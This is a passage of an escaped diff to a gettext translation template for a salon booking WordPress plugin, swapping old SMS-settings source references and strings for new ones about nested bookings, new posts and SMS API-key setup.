System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:245\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:245\n+msgid \"Name:\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:118, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:118, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:118\n-msgid \"Send SMS notification on modified bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:298\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:298\n+msgid \"Navigate to \\\"Konton\\\" > \\\"API-nycklar\\\"\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:128, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:128, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:128\n-msgid \"Staff member notification number\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:175\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:175\n+msgid \"Navigate to: Konton > API-nycklar > Lägg till nyckel\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:138, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:138, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:138\n-msgid \"Remind the appointment to the client with an SMS\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:243\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:243\n+msgid \"Need help? Contact our support team\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:142, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:142, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:142\n-msgid \"SMS Timing\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:9\n+msgid \"Nested bookings\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:171, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:171, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:171\n-msgid \"Send an SMS to selected attendant on new bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:21\n+msgid \"Nested Bookings Feature\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:176, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:176, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:176, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:176, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:176, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:176\n-msgid \"Remember to set the mobile number of your staff members\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:26\n+msgid \"Nested bookings OFF\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:184, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:184, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:184\n-msgid \"Send an SMS to selected attendant on modified bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:25\n+msgid \"Nested bookings ON\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:198, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:198, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:198\n-msgid \"Enable Whatsapp notification\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9\n+msgid \"Nested bookings using service break\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:203, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:203, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:203, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:203, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:203, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:203\n-msgid \"Will be used Whatsapp messenger for deliver your notifications\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:910\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:910\n+msgid \"Net total amount\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:212, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:212, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:212\n-msgid \"Customize the SMS notification message on new bookings (max 160 characters)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:253\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:253\n+msgid \"New Assistant\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:227, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:227, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:227\n-msgid \"ASCII mode\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:677\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:677\n+msgid \"New Booking\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:236, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:236, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:236, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:236, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:236, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:236\n-msgid \"Customize the SMS remind notification message on bookings (max 160 characters)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:285\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:285\n+msgid \"New booking email notification to customer\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:252, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:252, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:252, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:252, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:252, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:252\n-msgid \"Customize the SMS notification message on modified bookings (max 160 characters)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fsummary_admin.php:88\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fsummary_admin.php:88\n+msgid \"New booking for \"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:269, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:269, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:269, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:269, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:269, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:269\n-msgid \"SMS Verification service \u003Cspan>Ask users to verify their identity with an SMS verification code\u003C\u002Fspan>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:241\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:241\n+msgid \"New Discount\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:275, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:275, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:275, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:275, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:275, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:275\n-msgid \"Enable SMS verification\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:31\n+msgid \"NEW RESERVATION\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:279, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:279, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:279, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:279, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:279, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:279\n-msgid \"Avoid spam asking your users to verify their identity with an SMS verification code during the first registration.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:55\n+msgid \"New reservation\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:12\n-msgid \"Advanced rules\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:215\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:215\n+msgid \"New Resource\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:14\n-msgid \"Set one or more conditions to define the amount of the upfront payment\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:259\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:259\n+msgid \"New Service\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:39\n-msgid \"Name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:47\n+msgid \"New Service Category Name\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:53, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:53, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:53\n-msgid \"Condition (booking total amount is)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_booking_calendar\u002Fcalendar_content.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_booking_calendar\u002Fcalendar_content.php:62\n+msgid \"Next\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:60, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:60, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:60\n-msgid \"less than\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_form_actions.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:136\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:141\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:136\n+#: 